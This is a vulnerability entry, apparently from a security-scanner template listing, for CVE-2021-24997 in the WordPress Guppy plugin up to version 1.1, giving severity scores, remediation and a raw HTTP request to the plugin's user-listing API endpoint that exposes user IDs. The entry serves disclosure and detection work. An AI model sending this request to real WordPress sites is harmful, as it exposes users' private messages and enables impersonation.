| Title | WordPress Guppy <=1.1 - Information Disclosure |
|---|---|
| Author | Evan Rubinstein |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to gain sensitive information from the target system. |
| Remediation | Update to the latest version of the WordPress Guppy plugin (version >1.1) to mitigate the information disclosure vulnerability. |
| CVSS Score | 6.5 |
| EPSS Score | 0.04579 |
| CVE ID | CVE-2021-24997 |
| CWE ID | CWE-862 |
| Tags | cve cve2021 wordpress guppy api wp-plugin edb wpscan wp-guppy vuln |
WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another.
GET /wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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